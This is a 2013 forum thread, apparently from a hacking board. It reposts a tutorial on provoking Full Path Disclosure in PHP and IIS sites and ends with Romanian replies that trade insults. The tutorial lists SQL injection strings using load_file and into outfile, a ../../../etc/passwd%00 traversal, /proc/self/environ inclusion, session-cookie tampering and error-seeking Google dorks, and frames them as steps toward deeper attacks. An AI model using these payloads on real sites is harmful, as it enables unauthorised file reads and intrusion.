wewe Posted May 25, 2013 Report Posted May 25, 2013 (edited) Full Path Disclosure TutorialBut first... The hell is FPD?'FPD' (Stands for Full Path Disclosure) is one of the most common methods of attacks (While I doubt this kind of action categorized as a form of an attack, it is still a highly-related method of website security testing), that Pen-testers / Hackers / whatever use in order to gain an error which will expose the full installation path of the targeted site.Why is this happening?By default (Don't quote me here. Some web-services and packages disable this function, but partly in most cases), the PHP error reporting function - error_reporting(0);'1' = On. ==> 0 = Off.Any kind of PHP error that happens when you load up a page will display itself on the page. That error is meant to notify the programmer about a coding glitch on his page.The common error would basically look something similar to this -Warning: function(function.name) [Function_name]: Some brief summery in /home/user-name/public_html/website.pony/rawr.php on line 126The regular programmer would take in account everything, expect the full path, which does not interest him that much (Aside from the file name itself)... Unlike the intruder.Now the question is: Why is the path needed?Because, it is a must-have detail at some cases of those three attacks:SQL Injection using load_file() & outfileThose two SQL Queries (Also the 'dumpfile' query, so make it three) require the full path of the targeted directory in order to execute themselves.Example:/**/load_file('/home/pony/www/httpdocs/public_html/index.php')--/**/into outfile '/home/pony/www/httpdocs/public_html/rawr.txt'--Local File Inclusion (LFI)Some variants of LFI attacks won't allow you to poison logs / use filters, so you can try loading your own way through the site. Symbolic linking (Symlinking) At some cases, when uploading a shell is not an option, you'd rather know the path in order to work a symbolic link - A shortcut.And more methods which I can't come up with as for this moment.So, How to cause it?Oh, there's quite a few methods:[#] Transforming X type of variables to type Yhttp://site.com/index.php?err=4 ==> http://site.com/index.php?err=lolLet's say 'err' is a number-y variable. It means, it could only $_GET numbers to it's related code.Sooo... Try to insert a string instead. Might work.[#] Using false file nameshttp://site.com/index.php?page=index.php ==> http://site.com/index.php?page=ThisDoesNotExist.phpPossible Output:Warning: require(ThisDoesNotExist.php) [function.require]: failed to open stream: No such file or directory in /home/content/g/a/r/gardenlover/html/admin/index.php on line 25Fatal error: require() [function.require]: Failed opening required 'ThisDoesNotExist.php' (include_path='.:/usr/local/php5/lib/php') in /home/content/g/a/r/gardenlover/html/admin/index.php on line 25The script is including every kind name that goes through the $_GET, and prints the file under the requested name. Now, what will happen if we include a non-existing file?... ^This.[#] Awkward 404 error pages - IIS Servershttp://site.com/index.asp ==> http://site.com/flanks.aspNOTE: This method will work most of the times under a windows based platform. To be accurate, it'll work mainly on the IIS servers, where the 404 error page (Which is a page you get redirected upon entering a page that doesn't exist. And no, just plain entering, without include() ) spills a BIT TOO MUCH info. So yeah, expect this from mostly .ASP / ASPX based sites.[#] Basically messing around with the value of the parameterhttp://site.com/index.php?err=4 ==> http://site.com/index.php?err=4.1http://site.com/index.php?err=4 ==> http://site.com/index.php?err=-4http://site.com/index.php?err=4 ==> http://site.com/index.php?err=4!Sometimes, the value will be limited to only one style of inputs, and any kind of tweak would result a "Divided By Zero" PHP error.[#] braces.http://site.com/index.php?err=4 ==> http://site.com/index.php?err[]=4Well, it is messing up the parameter in a different way, so it's a different method xDI believe this has something to do with the whole array usage at PHP (Uses braces?), not sure though.Possible output:Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/index.php on line 131[#] Messing around with the COOKIEZjavascript:void(document.cookie="PHPSESSID="); <== Into your browser(Does also possible from a cookie editor browser addon)So, what did we just done?Simple - We changed the value of the 'PHPSESSID' cookie (A default cookie name, found in probably-every-site-that-uses-cookies) into... Nothing. It becomes null.Which, as you already guessed, fucks up something at the session:Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2You can try and edit other cookies of the site as well. In addition, you can also junk the cookie with illegal characters, and stuff like that.[#] SQLi fuckeryhttp://site.com/index.php?id=4 ==> http://site.com/index.php?id='4http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4';http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4+and+1=2--+http://site.com/index.php?id=4 ==> http://site.com/index.php?id=0http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4+div+0--+Possible Output:Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/user14/domains/rawr.com/public_html/page.php on line 666Creating an SQL data synthesizing error, which in result, will reveal us the asked FPD.[#] Inner-library-files-thingiehttp://site.com/wordpress/ ==> http://site.com/wordpress/inner-file-example.phpTraveling into inner files that has an undefined / defined twice functions will might result an output of the full FPD.Other ways to get FPD, without coding errors.[#] PHPINFO();http://site.com/phpinfo.phphttp://sie.com/phpinfo/http://site.com/phpdetails.phpFor some reason or another (Probably to often check the defined setting etc), some sites open a page with the php details. Well, we can use that~PiC:Look at the document root. [#] '/etc/passwd' <- Default linux & FreeBSD categories-alike file. (Echos all the users of the box, their group number, and their installed path)http://site.com/index.php?lol=-1+union+select+1,2,3,load_file('/etc/passwd')--+http://site.com/index.php?lol=../../../etc/passwd%00Because of the fact that a dedicated linux user was created for the web-service, obviously, his path will be visible on the site. Not always though, try to play smart here - Most of webservice users will be named after the domain / the domain itself.A similar case is /proc/self/environwww.site.com/index.php?page=/proc/self/environ[#] Google dorkingsite:site.com & intext:"include()"site:site.com & intext:"mysql" "error"Pretty straight and simple. Insert your site, and look for any possible errors. You know what I like about Google? (Fuck, I like everything about it, but here's another reason), it also stores cache-pages, or, results-that-are-not-updated. You might find an error which was last week, but does not exist today at the same page.source Edited May 25, 2013 by MrRip Quote
Active Members akkiliON Posted May 25, 2013 Active Members Report Posted May 25, 2013 (edited) sourceSerios ? Sigur acest tutorial e scris de ei ! Edited May 25, 2013 by MrRip Quote
wewe Posted May 25, 2013 Author Report Posted May 25, 2013 @akkiliON, daca am luat tutorialul de acolo, nu inseamna ca a fost creeat de ei .@cemama, esti sigur ca ai tai nu te-au incurcat la nastere ? Quote
lutulik Posted May 25, 2013 Report Posted May 25, 2013 @cemama, esti sigur ca ai tai nu te-au incurcat la nastere ? Putea sa creasca si intr-o familie de africani, tot aceeasi muie ati fi luat acum. Quote
wewe Posted May 25, 2013 Author Report Posted May 25, 2013 (edited) Terminati nu mai faceti offtopic, nu vreau sa ne certam, tutorialul n-are legatura cu islobozteam, doar am pus sursa de unde l-am luat . Edited May 25, 2013 by MrRip Quote